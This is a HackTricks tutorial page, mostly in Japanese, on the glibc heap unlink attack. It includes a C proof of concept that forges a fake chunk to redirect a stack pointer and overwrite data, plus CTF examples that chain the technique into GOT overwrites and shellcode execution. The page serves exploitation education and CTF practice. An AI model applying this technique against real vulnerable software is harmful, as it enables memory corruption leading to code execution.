Unlink Attack
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
この攻撃が発見されたとき、主にWWW(Write What Where)を許可しましたが、いくつかのチェックが追加され、攻撃の新しいバージョンはより興味深く、より複雑で、無意味になりました。
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* 攻撃はtcachesが使用されている場合(2.26以降)には機能しません。
### 目標
この攻撃は、**チャンクへのポインタを自分自身の3アドレス前を指すように変更する**ことを可能にします。この新しい位置(ポインタがあった周辺)に興味深いもの、例えば他の制御可能なアロケーションやスタックがある場合、それらを読み取ったり上書きしたりして、より大きな被害を引き起こすことが可能です。
* このポインタがスタックにあった場合、現在は自分自身の3アドレス前を指しているため、ユーザーがそれを読み取ったり変更したりできる可能性があるため、スタックから機密情報を漏洩させたり、リターンアドレスを(おそらく)変更したりすることが可能になります。カナリアに触れずに。
* CTFの例では、このポインタは他のアロケーションへのポインタの配列に位置しているため、3アドレス前を指すようにし、それを読み書きできることで、他のポインタを他のアドレスを指すように変更することが可能です。\
ユーザーが他のアロケーションも読み書きできる可能性があるため、情報を漏洩させたり、任意の場所(GOTなど)に新しいアドレスを上書きしたりすることができます。
### 要件
* メモリ(例:スタック)にいくつかの制御を持ち、いくつかの属性に値を与えるためにいくつかのチャンクを作成すること。
* フェイクチャンクのポインタを設定するためのスタックリーク。
### 攻撃
* いくつかのチャンク(chunk1とchunk2)があります。
* 攻撃者はchunk1の内容とchunk2のヘッダーを制御します。
* chunk1で攻撃者はフェイクチャンクの構造を作成します:
* 保護を回避するために、`size`フィールドが正しいことを確認して、エラーを回避します:`corrupted size vs. prev_size while consolidating`
* フェイクチャンクの`fd`と`bk`フィールドは、chunk1ポインタが格納されている場所をそれぞれ-3および-2のオフセットで指すように設定されているため、`fake_chunk->fd->bk`と`fake_chunk->bk->fd`は、メモリ(スタック)内の実際のchunk1アドレスが格納されている位置を指します:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* chunk2のヘッダーは、前のチャンクが使用されていないことと、サイズが含まれているフェイクチャンクのサイズであることを示すように変更されます。
* 2番目のチャンクが解放されると、このフェイクチャンクがアンリンクされ、次のようになります:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* 以前に`fake_chunk->fd->bk`と`fake_chunk->bk->fd`が同じ場所(`chunk1`が格納されていたスタック内の位置)を指すように設定されていたため、これは有効なリンクリストでした。**両方が同じ位置を指しているため**、最後のもの(`fake_chunk->bk->fd = fake_chunk->fd`)だけが**効果**を持ちます。
* これにより、**スタック内のchunk1へのポインタがスタック内の3アドレス前に格納されているアドレス(またはバイト)に上書きされます**。
* したがって、攻撃者が再びchunk1の内容を制御できる場合、**スタック内に書き込むことができ**、カナリアをスキップしてリターンアドレスを上書きし、ローカル変数の値やポインタを変更することが可能になります。攻撃者が再びchunk1のアドレスをスタック内の異なる位置に変更できる場合、再びchunk1の内容を制御できれば、どこにでも書き込むことができるようになります。
* これは、**アドレスがスタックに格納されているため**可能であったことに注意してください。リスクと悪用は、**フェイクチャンクへのアドレスがどこに格納されているか**に依存する可能性があります。
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## 参考文献
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* CTFでunlink攻撃を見つけるのは奇妙かもしれませんが、ここにはこの攻撃が使用されたいくつかのワriteupがあります:
* CTFの例:[https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* この例では、スタックの代わりにmallocされたアドレスの配列があります。unlink攻撃が実行され、ここでチャンクを割り当てることができるようになり、mallocされたアドレスの配列のポインタを制御できるようになります。次に、これらのアドレス内のチャンクの内容を変更することを可能にする別の機能があり、これによりアドレスをGOTに指し、関数アドレスを変更してリークを取得し、RCEを実行します。
* 別のCTFの例:[https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* 前の例と同様に、アロケーションのアドレスの配列があります。unlink攻撃を実行して、最初のアロケーションへのアドレスを配列の開始位置の数ポジション前に指すようにし、この新しい位置でこのアロケーションを上書きすることが可能です。したがって、他のアロケーションのポインタを上書きして、atoiのGOTを指し、これを印刷してlibcリークを取得し、その後atoiのGOTをワンガジェットのアドレスで上書きすることが可能です。
* unlink攻撃に非常に似た脆弱性を悪用するカスタムmallocおよびfree関数を使用したCTFの例:[https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* FDおよびBKポインタを制御することを可能にするオーバーフローがあります。さらに、ヒープにはexecビットがあるため、ヒープアドレスをリークし、GOTから関数をヒープチャンクにポイントしてシェルコードを実行することが可能です。
<div data-gb-custom-block data-tag="hint" data-style='success'>
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
</div>